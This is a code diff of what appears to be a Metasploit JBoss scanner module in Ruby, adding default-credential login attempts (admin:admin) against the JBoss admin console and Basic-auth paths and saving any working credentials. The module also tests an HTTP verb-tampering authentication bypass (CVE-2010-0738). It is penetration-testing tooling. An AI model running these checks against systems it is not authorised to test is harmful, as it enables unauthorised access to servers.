@@ -18,7 +18,11 @@ def initialize(info = {})
18
18
'Description' => %q{
19
19
This module scans a JBoss instance for a few vulnerablities.
20
20
} ,
21
- 'Author' => [ 'Tyler Krpata' ] ,
21
+ 'Author' =>
22
+ [
23
+ 'Tyler Krpata' ,
24
+ 'Zach Grace <@ztgrace>'
25
+ ] ,
22
26
'References' =>
23
27
[
24
28
[ 'CVE' , '2010-0738' ] # VERB auth bypass
@@ -65,6 +69,8 @@ def run_host(ip)
65
69
check_app ( app )
66
70
end
67
71
72
+ jboss_as_default_creds
73
+
68
74
ports = {
69
75
# 1098i, 1099, and 4444 needed to use twiddle
70
76
1098 => 'Naming Service' ,
@@ -96,6 +102,7 @@ def check_app(app)
96
102
when res . code == 401
97
103
print_status ( "#{ rhost } :#{ rport } #{ app } requires authentication (401): #{ res . headers [ 'WWW-Authenticate' ] } " )
98
104
bypass_auth ( app )
105
+ basic_auth_default_creds ( app )
99
106
when res . code == 404
100
107
print_status ( "#{ rhost } :#{ rport } #{ app } not found (404)" )
101
108
when res . code == 301 , res . code == 302
@@ -108,33 +115,109 @@ def check_app(app)
108
115
end
109
116
end
110
117
111
- def bypass_auth ( app )
118
+ def jboss_as_default_creds ( )
119
+ print_status ( "#{ rhost } :#{ rport } Checking for JBoss AS default creds" )
120
+
121
+ session = jboss_as_session_setup ( rhost , rport )
122
+ if session . nil?
123
+ return
124
+ end
125
+
126
+ # Default AS creds
127
+ username = "admin"
128
+ password = "admin"
129
+
130
+ res = send_request_raw ( {
131
+ 'uri' => "/admin-console/login.seam" ,
132
+ 'method' => "POST" ,
133
+ 'version' => '1.1' ,
134
+ 'vhost' => "#{ rhost } " ,
135
+ 'headers' => { "Content-Type" => "application/x-www-form-urlencoded" ,
136
+ "Cookie" => "JSESSIONID=#{ session [ "jsessionid" ] } " } ,
137
+ 'data' => "login_form=login_form&login_form%3Aname=#{ username } &login_form%3Apassword=#{ password } &login_form%3Asubmit=Login&javax.faces.ViewState=#{ session [ "viewstate" ] } "
138
+ } , 20 )
139
+
140
+ # Valid creds if 302 redirected to summary.seam and not error.seam
141
+ if ( res and res . code == 302 and /error.seam/m !~ res . headers . to_s and /summary.seam/m =~ res . headers . to_s )
142
+ print_good ( "#{ rhost } :#{ rport } Authenticated using #{ username } :#{ password } at /admin-console/" )
143
+ add_creds ( username , password )
144
+ else
145
+ print_status ( "#{ rhost } :#{ rport } Could not guess admin credentials" )
146
+ end
147
+ end
148
+
149
+ def add_creds ( username , password )
150
+ service_data = {
151
+ address : rhost ,
152
+ port : rport ,
153
+ service_name : "jboss" ,
154
+ protocol : "tcp" ,
155
+ workspace_id : framework . db . workspace . id
156
+ }
157
+
158
+ credential_data = {
159
+ module_fullname : self . fullname ,
160
+ origin_type : :service ,
161
+ private_data : password ,
162
+ private_type : :password ,
163
+ username : username
164
+ } . merge ( service_data )
165
+
166
+ credential_core = create_credential ( credential_data )
167
+ credential_data [ :core ] = credential_core
168
+ create_credential_login ( credential_data )
169
+ end
112
170
171
+ def jboss_as_session_setup ( rhost , rport )
172
+ res = send_request_raw ( {
173
+ 'uri' => "/admin-console/login.seam" ,
174
+ 'method' => "GET" ,
175
+ 'version' => "1.1" ,
176
+ 'vhost' => "#{ rhost } " ,
177
+ } , 20 )
178
+
179
+ if ( res )
180
+ begin
181
+ viewstate = /javax.faces.ViewState" value="(.*)" auto/ . match ( res . body ) . captures [ 0 ]
182
+ jsessionid = /JSESSIONID=(.*);/ . match ( res . headers . to_s ) . captures [ 0 ]
183
+ rescue
184
+ print_status ( "#{ rhost } :#{ rport } Could not guess admin credentials" )
185
+ return nil
186
+ end
187
+ return { "jsessionid" => jsessionid , "viewstate" => viewstate }
188
+ end
189
+ end
190
+
191
+ def bypass_auth ( app )
113
192
print_status ( "#{ rhost } :#{ rport } Check for verb tampering (HEAD)" )
114
193
115
194
res = send_request_raw ( {
116
195
'uri' => app ,
117
196
'method' => datastore [ 'VERB' ] ,
118
197
'version' => '1.0' # 1.1 makes the head request wait on timeout for some reason
119
198
} , 20 )
199
+
120
200
if ( res and res . code == 200 )
121
201
print_good ( "#{ rhost } :#{ rport } Got authentication bypass via HTTP verb tampering" )
122
202
else
123
203
print_status ( "#{ rhost } :#{ rport } Could not get authentication bypass via HTTP verb tampering" )
124
204
end
205
+ end
125
206
207
+ def basic_auth_default_creds ( app )
126
208
res = send_request_cgi ( {
127
209
'uri' => app ,
128
210
'method' => 'GET' ,
129
211
'ctype' => 'text/plain' ,
130
212
'authorization' => basic_auth ( 'admin' , 'admin' )
131
213
} , 20 )
214
+
132
215
if ( res and res . code == 200 )
133
- print_good ( "#{ rhost } :#{ rport } Authenticated using admin:admin" )
216
+ print_good ( "#{ rhost } :#{ rport } Authenticated using admin:admin at #{ app } " )
217
+ add_creds ( "admin" , "admin" )
134
218
else
135
219
print_status ( "#{ rhost } :#{ rport } Could not guess admin credentials" )
136
220
end
137
-
138
221
end
139
222
140
223
# function stole'd from mssql_ping
0 commit comments